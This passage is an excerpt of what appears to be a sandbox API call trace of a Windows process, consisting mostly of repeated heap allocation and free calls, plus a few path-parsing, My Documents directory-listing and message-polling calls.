Size=0x60) returned 0x2f8ee90 [0125.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.518] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0125.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0125.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.519] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0125.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0125.519] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.519] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.519] PathFindFileNameW (pszPath="") returned="" [0125.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.519] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zTvNij62y31ygD", cAlternateFileName="ZTVNIJ~1")) returned 0xffffffff [0125.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.519] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0125.519] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.522] RtlAllocateHeap 